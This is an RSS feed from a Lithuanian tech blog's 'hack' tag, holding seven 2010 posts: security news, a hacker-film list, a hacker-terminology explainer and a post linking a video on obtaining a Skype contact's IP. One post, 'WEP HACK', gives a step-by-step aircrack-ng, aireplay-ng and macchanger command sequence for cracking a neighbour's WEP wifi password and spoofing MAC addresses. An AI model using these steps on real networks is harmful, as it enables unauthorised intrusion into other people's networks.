<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>kernel.lt &#187; hack</title>
	<atom:link href="http://kernel.lt/zyme/hack/feed/" rel="self" type="application/rss+xml" />
	<link>http://kernel.lt</link>
	<description>Kompiuterijos ir kitos IT naujienos</description>
	<lastBuildDate>Sun, 03 Feb 2013 20:17:07 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Aptikta Google saugumo spraga</title>
		<link>http://kernel.lt/2010/11/aptikta-google-saugumo-spraga/</link>
		<comments>http://kernel.lt/2010/11/aptikta-google-saugumo-spraga/#comments</comments>
		<pubDate>Sun, 21 Nov 2010 18:57:24 +0000</pubDate>
		<dc:creator>Irmantas</dc:creator>
				<category><![CDATA[Aktualu]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Internetas]]></category>
		<category><![CDATA[Naujienos]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[saugumas]]></category>

		<guid isPermaLink="false">http://kernel.lt/?p=1156</guid>
		<description><![CDATA[Atrodo interneto gigantas Google nėra, toks jau saugus kaip manyta iki šiol. Vartotojai kurie yra prisijungę prie savo Google paskyros ir aplankę vieną tinklalapį, gauna automatinį el. pašto laišką, kuriame minima, kad vartotojas turėtų aplankyti ir pasidalinti ta interneto svetaine, kurioje jis ir apsilankė. Praėjus, keletui valandų, &#8220;kenkėjiška&#8221; svetainė buvo uždaryta, svetainės autorius bandė susisiekti [...]]]></description>
				<content:encoded><![CDATA[<p><a href="http://kernel.lt/wp-content/uploads/2010/11/logo1w.png" rel="lightbox[1156]"><img class="alignnone size-full wp-image-491" title="google" src="http://kernel.lt/wp-content/uploads/2010/11/logo1w.png" alt="" width="275" height="95" /></a></p>
<p>Atrodo interneto gigantas Google nėra, toks jau saugus kaip manyta iki šiol. Vartotojai kurie yra prisijungę prie savo Google paskyros ir aplankę vieną tinklalapį, gauna automatinį el. pašto laišką, kuriame minima, kad vartotojas turėtų aplankyti ir pasidalinti ta interneto svetaine, kurioje jis ir apsilankė.</p>
<p>Praėjus, keletui valandų, &#8220;kenkėjiška&#8221; svetainė buvo uždaryta, svetainės autorius bandė susisiekti su Google norėdamas pagelbėti išspręsti aptiktą spragą, tačiau kompanija į jo laiškus nekreipė dėmesio. Tačiau galų gale saugumo spraga buvo ištaisyta.</p>
]]></content:encoded>
			<wfw:commentRss>http://kernel.lt/2010/11/aptikta-google-saugumo-spraga/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WEP HACK</title>
		<link>http://kernel.lt/2010/11/wep-hack/</link>
		<comments>http://kernel.lt/2010/11/wep-hack/#comments</comments>
		<pubDate>Sun, 14 Nov 2010 13:29:32 +0000</pubDate>
		<dc:creator>Martynas</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Straipsniai]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://kernel.lt/?p=119</guid>
		<description><![CDATA[Noriu iškarto pranešti ši meždžiaga skirta tik pažintiniams tikslams. Autorius už padaryta žalą neatsako. Taigi šiandien parodysime kaip nesunkiai per 5-10min nulaušti kaimyno wireless WEP slaptažodį. Pirma ko jums reikės tai aircrack-ng programos. Instaliuojame ant ubuntu sistemos: sudo apt-get install aircrack-ng Dar prireiks macchanger programos pakeisti mac adresą. Instaliuojame macchanger: sudo apt-get install macchanger Parašysiu [...]]]></description>
				<content:encoded><![CDATA[<p>Noriu iškarto pranešti ši meždžiaga skirta tik pažintiniams tikslams.  Autorius už padaryta žalą neatsako. Taigi šiandien parodysime kaip  nesunkiai per 5-10min nulaušti kaimyno wireless WEP slaptažodį. Pirma ko  jums reikės tai aircrack-ng programos. Instaliuojame ant ubuntu  sistemos:</p>
<p><code>sudo apt-get install aircrack-ng</code></p>
<p>Dar prireiks macchanger programos pakeisti mac adresą. Instaliuojame macchanger:</p>
<p><code>sudo apt-get install macchanger</code></p>
<p>Parašysiu visą procesą nuo pradžių iki galo:</p>
<ul>
	<code>
<li>1. sudo airmon-ng start wlan0 (Pas kiekvieną gali būti skirtingai nebutinai wlan0) pažiūrėti naudokite ifconfig įrankį.</li>
<li>sudo ifconfig mon0 down</li>
<li>sudo macchanger -m 00:11:22:33:44:55 mon0</li>
<li>sudo ifconfig mon0 up</li>
<li>sudo airodump-ng mon0</li>
<li>sudo aireplay-ng --arpreplay -b Aukos bssid -h 00:11:22:33:44:55 mon0</li>
<li>sudo aireplay-ng -1 0 -a bssid -h 00:11:22:33:44:55 -e essid(pavadinimas) mon0</li>
<li>airodump-ng -c 8 --bssid -w failas (failas kur saugos) mon0</li>
<li>aircrack-ng -z failas-01.cap</li>
<p></code>
</ul>
<p>P.S jeigu neprisijungiama galimas dalykas, kad yra filtruojama pagal  mac adresus, tai reikėtų tada užsidėti aukos mac adresą ir tada viską  kartotį iš naujo. Jeigu kilo kokių klausimų kas kaip veikia rašykite  išaiškinsiu aiškiau ;)</p>
<p><a href="http://kernel.lt/wp-content/uploads/2010/11/hack.jpg" rel="lightbox[119]"><img src="http://kernel.lt/wp-content/uploads/2010/11/hack-150x150.jpg" alt="" title="hack" width="150" height="150" class="alignnone size-thumbnail wp-image-120" /></a></p>
<p><a href="http://kernel.lt/wp-content/uploads/2010/11/hack2.png" rel="lightbox[119]"><img src="http://kernel.lt/wp-content/uploads/2010/11/hack2-150x150.png" alt="" title="hack2" width="150" height="150" class="alignnone size-thumbnail wp-image-121" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://kernel.lt/2010/11/wep-hack/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Kaip gauti Skype pašnekovo IP</title>
		<link>http://kernel.lt/2010/11/kaip-gauti-skype-pasnekovo-ip/</link>
		<comments>http://kernel.lt/2010/11/kaip-gauti-skype-pasnekovo-ip/#comments</comments>
		<pubDate>Mon, 01 Nov 2010 11:23:22 +0000</pubDate>
		<dc:creator>Martynas</dc:creator>
				<category><![CDATA[Internetas]]></category>
		<category><![CDATA[Programos]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[skype]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[<p>Stai radau sioke toke pamokele kaip gauti skype draugo ip.</p>]]></description>
				<content:encoded><![CDATA[<p><a href="http://kernel.lt/wp-content/uploads/2010/11/skype_logo_1_medium.jpg" rel="lightbox[383]"><img src="http://kernel.lt/wp-content/uploads/2010/11/skype_logo_1_medium-300x300.jpg" alt="" title="skype_logo_1_medium" width="300" height="300" class="alignnone size-medium wp-image-553" /></a></p>
<p>Štai šiokia tokia pamokėlė kaip gauti skype draugo ip.</p>
<p><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/ro_zrbBsgBk?fs=1&amp;hl=lt_LT"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/ro_zrbBsgBk?fs=1&amp;hl=lt_LT" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://kernel.lt/2010/11/kaip-gauti-skype-pasnekovo-ip/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Namų wi-fi tinklas gali būti nulaužiamas mažiau nei per 5 sekundes</title>
		<link>http://kernel.lt/2010/10/namu-wi-fi-tinklas-gali-buti-nulauziamas-maziau-nei-per-5-sekundes/</link>
		<comments>http://kernel.lt/2010/10/namu-wi-fi-tinklas-gali-buti-nulauziamas-maziau-nei-per-5-sekundes/#comments</comments>
		<pubDate>Fri, 15 Oct 2010 15:03:50 +0000</pubDate>
		<dc:creator>Martynas</dc:creator>
				<category><![CDATA[Aktualu]]></category>
		<category><![CDATA[Internetas]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[internetas]]></category>
		<category><![CDATA[pass]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[BEVEIK pusė wi-fi tinklų kuriais naudojasi namų vartotojai gali būti nulaužiami. Hakerių atliktas eksperimentas parodė, kad namų wi-fi tinklai gali būti nulaužiami mažiau nei per 5 sekundes. Šis eksperimentas buvo atliktas šešiuose skirtinguose miestuose. Ketvirtadalis žmonių iš vis nenaudoja jokių slaptažodžių, taip palikdami savo tinklus atvirus. Tačiau netgi su slaptažodžiais apsaugoti tinklai nėra visiškai saugūs. [...]]]></description>
				<content:encoded><![CDATA[<p><a href="http://kernel.lt/wp-content/uploads/2010/10/wifi_hack.jpg" rel="lightbox[352]"><img src="http://kernel.lt/wp-content/uploads/2010/10/wifi_hack-300x273.jpg" alt="" title="wifi_hack" width="300" height="273" class="alignnone size-medium wp-image-660" /></a></p>
<p>BEVEIK pusė<em> wi-fi </em>tinklų kuriais naudojasi namų vartotojai gali būti nulaužiami. Hakerių atliktas eksperimentas parodė, kad namų <em>wi-fi</em> tinklai gali būti nulaužiami mažiau nei per 5 sekundes. Šis eksperimentas buvo atliktas šešiuose skirtinguose miestuose.</p>
<p>Ketvirtadalis žmonių iš vis nenaudoja jokių slaptažodžių, taip palikdami savo tinklus atvirus. Tačiau netgi su slaptažodžiais apsaugoti tinklai nėra visiškai saugūs.</p>
<p>Augantis išmaniūjų telefonų bei bevielių tinklu populiarumas gali padėti hakeriams lengviau nulaužti vartotojų prisijungimo duomenis, taip leidžiant jiems pasiektį vartotojų elektroninius paštus, socialinius tinklus bei internetinių bankų sąskaitas.</p>
<p>Kibernetiniai nusikaltėliai gali pasinaudoti tinklo priedanga ir atsisiųsti nelegalios pornografijos ar parduoti pavogtus duomenis. Taip, pat hakeriai gali stebėti privačius perdavimus, o tai reiškia, kad lengvai gali &#8220;susižvejoti&#8221; vartotojų slaptažodžius.</p>
<p>Kad apsaugotumėte savo <em>Wi-Fi </em>tinklus naudokite <em>WPA2</em> raktus. Į tinklą įdiekite ugniasienę. Taip pat pasiekos taškus (<em>access points</em>) statykite nuošaliau nuo lauko, kad pašaliniai asmenys negalėtų pasinaudoti jūsu tinklu.</p>
<p>Šaltinis <em>www.isauga.com</em></p>
]]></content:encoded>
			<wfw:commentRss>http://kernel.lt/2010/10/namu-wi-fi-tinklas-gali-buti-nulauziamas-maziau-nei-per-5-sekundes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft tinklu naudojosi hakeriai</title>
		<link>http://kernel.lt/2010/10/microsoft-tinklu-naudojosi-hakeriai/</link>
		<comments>http://kernel.lt/2010/10/microsoft-tinklu-naudojosi-hakeriai/#comments</comments>
		<pubDate>Fri, 15 Oct 2010 14:29:05 +0000</pubDate>
		<dc:creator>Martynas</dc:creator>
				<category><![CDATA[Internetas]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[internetas]]></category>
		<category><![CDATA[microsoft]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Microsoft patvirtino, kad 2 tinklo įrenginiai esantys jų tinkle buvo nulaužti ir naudojami kibernetinių nusikaltėlių. Šie įrenginiai buvo naudojami siųsti šlamšo laiškus bei DoS atakoms vykdyti. Po vidaus tyrimo buvo atrasta, kad šie du įrenginiai, esantys microsoft testuojamoje laboratorijoje buvo neteisingai perkonfiguruoti. Microsoft sakė: &#8220;Šie serveriai buvo panaikinti, mes galime patikinti, kad jokie klientų duomenys [...]]]></description>
				<content:encoded><![CDATA[<p><a href="http://kernel.lt/wp-content/uploads/2010/10/microsoft.jpg" rel="lightbox[351]"><img src="http://kernel.lt/wp-content/uploads/2010/10/microsoft-300x200.jpg" alt="" title="(FILE) Microsoft Makes Bid To Buy Yahoo" width="300" height="200" class="alignnone size-medium wp-image-664" /></a></p>
<p><em>Microsoft</em> patvirtino, kad 2 tinklo įrenginiai esantys jų tinkle buvo nulaužti ir naudojami kibernetinių nusikaltėlių. Šie įrenginiai buvo naudojami siųsti šlamšo laiškus bei <em>DoS</em> atakoms vykdyti.</p>
<p>Po vidaus tyrimo buvo atrasta, kad šie du įrenginiai, esantys <em>microsoft</em> testuojamoje laboratorijoje buvo neteisingai perkonfiguruoti. <em>Microsoft</em> sakė: &#8220;Šie serveriai buvo panaikinti, mes galime patikinti, kad jokie klientų duomenys nebuvo pavogti ir jokios produktų sistemos nebuvo paveiktos.</p>
<p>Šiuos serverius atrado Ronald Guilmette, tinklo saugumo analitikas. Po to kai užfiksavo <em>DoS</em> ataką nukreiptą prieš savo tinklalapį. <em>DoS</em> ataka buvo vykdoma iš  131.107.202.197  131.107.202.198 <strong>IP</strong> adresų.  Ronald atsekė, kad šiems adresams priklauso serveris esantis <em>microsoft</em> tinkle.</p>
<p>Tačiau įroniškiausia šioje istorijoje tai, kad šie serveriai, priklausantys <em>microsoft</em><strong> naudojo Linux operacinę sistemą</strong>&#8230;</p>
<p>Šaltinis <em>www.isauga.com</em></p>
]]></content:encoded>
			<wfw:commentRss>http://kernel.lt/2010/10/microsoft-tinklu-naudojosi-hakeriai/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Filmų apie hakerius TOP 5</title>
		<link>http://kernel.lt/2010/10/filmu-apie-hakerius-top-5/</link>
		<comments>http://kernel.lt/2010/10/filmu-apie-hakerius-top-5/#comments</comments>
		<pubDate>Sat, 02 Oct 2010 10:13:23 +0000</pubDate>
		<dc:creator>Martynas</dc:creator>
				<category><![CDATA[Aktualu]]></category>
		<category><![CDATA[aktualu]]></category>
		<category><![CDATA[filmas]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hakeris]]></category>
		<category><![CDATA[top]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Chotabyčius Jeigu tu esi kompiuteristas, tuomet aš tikiu, kad esi peržiūrėjęs filmą kuris tau sukėlė meilę kompiuteriams. Asmeniškai man patiko filmas „Chotabičius“ kuriame pasakojama apie genialų programuotoją Geną (Akt. Marius Jampolskis) kuris nulaužė microsoft`o tinklalpį. Aišku, kad vieną gražią dieną Gena prisižaidžia ir juo susidomi mafija ir, savaime aišku, spec. tarnybos. todėl vaikinui ima svilti [...]]]></description>
				<content:encoded><![CDATA[<p><strong>Chotabyčius</strong></p>
<p><img src="http://kernel.lt/wp-content/uploads/vartotojam/3663_060825131643_0_jpg_136x250_upscale_q90.jpg" alt="chotabyčius" /></p>
<p>Jeigu tu esi kompiuteristas, tuomet aš tikiu, kad esi peržiūrėjęs filmą kuris tau sukėlė meilę kompiuteriams.  Asmeniškai man patiko filmas „Chotabičius“ kuriame pasakojama apie genialų programuotoją Geną (Akt. Marius Jampolskis) kuris nulaužė microsoft`o tinklalpį. Aišku, kad vieną gražią dieną Gena prisižaidžia ir juo susidomi mafija ir, savaime aišku, spec. tarnybos. todėl vaikinui ima svilti padai: slapstytis nuo dviejų galingiausių jėgų – ne juokai. Dabar jaunąjį hakerį  išgelbėti gali tik stebuklas… Lyg iš niekur išdygsta senis Chotabyčius. Tačiau Gena nežinojo, kad jo džinas dar didesnis nevykėlis nei jis.</p>
<p>Tačiau gryžkite prie temos.  Dažnai žiūrint tokius filmus apie kibernetinius nusikaltėlius, įvairius įsilaužimus skundžiamės, kad filme parodyti faktai neatitinka realybės, kad per kelias sekundes geba įsilaužti į miesto eismo kontrolės sistemą, bei perstatyti šviesoforus ir t.t.</p>
<p>Aš sudariau filmų TOP 5 uką kuriuos tūrėtų pamatyti save gerbiantis hakeris. Net jei jums nepatinka hakeriai, jūs peržiūrėje filmus  galėsite teigti, kad bent vieną iš jų matėte.</p>
<p><strong>Operacija „Kardžuvė“swordfish (Swordfish)</strong></p>
<p><img src="http://kernel.lt/wp-content/uploads/vartotojam/991-1.jpg" alt="kardžuvė" /></p>
<p>Pirmas filmas mano saraše yra filmas – Operacija „Kardžuvė“. Šiame filme vaidina tokie žinomi aktoriai kaip  Hugh Jackman, Halle Berry ir John Travolta. Šiame filme tiek šnipai, tiek hakeriai stengiasi įsilaužti į banką.  Filmas pilnas įvairiausių juokingų scenų. Jeigu šiam vakarui norite linksmo, bet ne ytin realistiško filmo apie kibernetinius nusikaltėlius tuomet šį filmą tūrėtų jums patikti.</p>
<p><strong>Revoliucinga OSrevolution OS (Revolution OS)</strong></p>
<p><img src="http://kernel.lt/wp-content/uploads/vartotojam/revolution-os.png" alt="Revoliucinga OSrevoliution" /></p>
<p>Hakeriai nėra tie žmonės kurie visur įsilaužia, jie taip pat ir kuria. Revoliucinga OS (Eng. Revolution OS) yra filmas apie kūrimą bei revoliucija. Ttiksliau tai dokumentinis filmas apie taip, kaip buvo sukurta Linux operacinė sistema ir kaip ji tapo tokia populiari namų kompiuteriuose, serveriuose bei mobiliuosiuose telefonuose. Jei nori pamatyti kaip visa tai įvyko tuomet šis filmas kaip tik tau.</p>
<p><strong>Tinklas (The Net)the net</strong></p>
<p><img src="http://kernel.lt/wp-content/uploads/vartotojam/0800141768.01.LZZZZZZZ.gif.jpeg" alt="The net" /></p>
<p>Šis filmas buvo išleistas dar 1995 metais ir susilaukė milijonus kompiuteristų dėmesio iš viso pasaulio. Pagrindinė šio filmo veikėja &#8211; Sandra Bullock vaidina kompiuterių analitikę kurios visą informacija apie šia asmenybę buvo ištrinta. Nors šiomis dienomis filmo vietos atrodo šiek  tiek nelogiškos tačiau tai puikus filmas praleisti vasaros vakarą su popcornu krepšiu ir/ar šaltu alumi rankoje. Vėlgi, jei ieškote realaus filmo apie hakerius, tuomet šis filmas ne jums.  Tačiau jei žiūrėsite tik dėl pramogos, tuomet  jis jums patiks.</p>
<p><strong>Hakeriai (Hackers)hackers</strong></p>
<p><img src="http://kernel.lt/wp-content/uploads/vartotojam/hackers.jpg" alt="hakeriai" /></p>
<p>Šis filmas bene labiausiai panašus į hakerių gyvenimą. Be to filme vaidina jauna Angelina Jolie. Tai vienas iš pirmūjų filmų kuris stengėsi spalvingai parodyti hakerio gyvenimą. Nors dauguma žmonių kurie dirbą IT saugumosrityje nemėgsta šio filmo tačiau kažkodėl jie žino kone kiekviena šio filmo žodį…  Garantuoju, kad jie sugeba atsiminti tuos žodžius ne dėl to, kad vieną kartą peržiūrėjo, jie peržiūrėjo šį filmą kur kas daugiau … Šis filmas visados bus hakerių klasikos filmas…</p>
<p><strong>Matrica (Matrix)Matrix</strong></p>
<p><img src="http://kernel.lt/wp-content/uploads/vartotojam/matrix-poster.jpg" alt="matrica" /></p>
<p>Paskutinis filmas mano sarašę yra Matricos filmų trilogija. Garantuoju, kad šio filmo nereikia pristatinėti ar jį aprašinėti. Tai vienas pačių populiariausių filmų per visą žmonijos istorija! Jeigu tu esi hakeris, tuomet tikiu, kad norėtum būti Neo.</p>
<p>Tai yra visas sąrašas filmų kuriuos tūrėtų pamatyti save gerbiantis hakeris.</p>
<p>Šaltinis <em>isauga.com</em></p>
]]></content:encoded>
			<wfw:commentRss>http://kernel.lt/2010/10/filmu-apie-hakerius-top-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kas yra hakeriai?</title>
		<link>http://kernel.lt/2010/10/kas-yra-hakeriai/</link>
		<comments>http://kernel.lt/2010/10/kas-yra-hakeriai/#comments</comments>
		<pubDate>Sat, 02 Oct 2010 10:06:42 +0000</pubDate>
		<dc:creator>Martynas</dc:creator>
				<category><![CDATA[Straipsniai]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hakeris]]></category>
		<category><![CDATA[straipsnis]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Kiekvienas skaitantis šį straipsnį mano, kad įsilaužimas į kitas sistemas (toliau &#8211; hakinimas) tai tik informacijos vagimas. Šis teiginys yra absoliučiai klaidingas. Toliau patiekiu apibrėžimą paimta iš wikipedijos kuris rodo, kad hakinimas yra absoliučiai negatyvus dalykas. Hakinimas yra neautorizuotas kompiuterio bei tinklo išteklių naudojimas. (Terminas &#8220;hakeris&#8221; iš tiesų reiškia &#8211; labai gabus programuotojas. Hakinimas (laužimas [...]]]></description>
				<content:encoded><![CDATA[<p>Kiekvienas skaitantis šį straipsnį mano, kad įsilaužimas į kitas sistemas (toliau &#8211; <em>hakinimas</em>) tai tik informacijos vagimas. Šis teiginys yra absoliučiai klaidingas. Toliau patiekiu apibrėžimą paimta iš <em>wikipedijos</em> kuris rodo, kad <em>hakinimas</em> yra absoliučiai negatyvus dalykas.</p>
<p><em>Hakinimas yra neautorizuotas kompiuterio bei tinklo išteklių naudojimas. (Terminas &#8220;hakeris&#8221; iš tiesų reiškia &#8211; labai gabus programuotojas. </em></p>
<p><em>Hakinimas</em> (laužimas į sistemas) ne visados būna neautorizuotas&#8230; Į <em>hakinimo</em> terminą taip pat įeina nematomų sistemų ieškojimas, kurie paprastai yra paslėpti. Taigi, ieškojimas paslėptų sistemų kurie nėra visuotinai matomi taip pat yra <em>hakinimas</em>.</p>
<p class="rteleft">Kibernetinio nusikaltėlio (toliau &#8211; <em>hakerio</em>) apibrėžimas pagal mane: &#8220;<em>hakinimas</em> tai paslėptų dalykų, saugumo skylių/spragų ieškojimas bei išnaudojimas.&#8221;</p>
<p class="rtecenter"><strong>Kas yra hakeriai ?</strong></p>
<p class="rteleft">Daugelis iš jūsų mano, kad <em>hakeriai</em> tai virtualaus pasaulio nusikaltėliai. Tačiau šis teiginys taip pat yra klaidinas. <em>Hakeriai</em> ne visados būna nusikaltėliais. Net neabejotina, kad <em>hakeriai</em> tai kompiuterių srityje ypač genialūs žmonės.</p>
<p class="rteleft">Norėčiau kategorizuoti <em>hakerius</em>:</p>
<ol>
<li>Įsilauželiai, arba juodūsų skribelių <em>hakeriai</em>, arba sukčiautojai, arba nusikaltėliai. Jie vadinami visais šiais terminais nes stengiasi įsilaužti į sistemą ir pavogti duomenis, kurie vėliau panaudojami netinkamai. Jie gali vogti vartotojo konfidencialius duomenis, kreditinių kortelių numerius, slaptažodžius ir t.t. viską atliktadami interneto pagalbą.</li>
<li>Etiniai hakeriai. etinis <em>hakinimas</em> reiškia tai, kad mastoma kaip hakeriai. Pirmiausia įsilaužiama į sistemas ir randamos jos spragos po to stengiamasi ištaisyti šias spragas. Šie tipo hakeriai stengiasi apsaugoti kibernetinį pasaulį nuo kiekvienos grėsmės bei pataisyti saugumo spragas. Šie žmonės taip pat dar vadinami kompiuterių saugumo analitikai / ekspertai.</li>
<li>Kibernetiniai pankai. <em>Hakeriai</em> kurie laužiasi tik dėl įdomumo.</li>
<li></li>
</ol>
<p class="rtecenter"><img style="width: 400px; height: 229px;" src="/wp-content/uploads/vartotojam/Hacking.PNG" alt="hakers" /></p>
<p class="rtecenter"><strong>Paprasti hakerių terminai</strong></p>
<ul>
<li>Pažeidžiamumas &#8211; Egzistuojanti sistemos silpna vieta kurios pagalba galima įsilaužti į sistemą;</li>
<li>Išnaudojimas &#8211; Šis žodis reiškia kelia kokiu būdu į sistemą buvo įsilaužtą;</li>
<li>Ataka &#8211;  Sistemos užpuolimas kurios metu stengiamasi įsilaužti į sistemą;</li>
<li>Saugumas &#8211; Sistemos stadija kai sistema yra apsaugota ir hakeriams ji nematoma arba neprieinama;</li>
<li>Autentifikacija &#8211; Subjekto identifikacija;</li>
<li>Prieinamumas &#8211; Galimybė naudotis informacija arba ištekliais.</li>
</ul>
<p>Šaltinis <a href="http://isauga.com" target="_blank">isauga.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://kernel.lt/2010/10/kas-yra-hakeriai/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->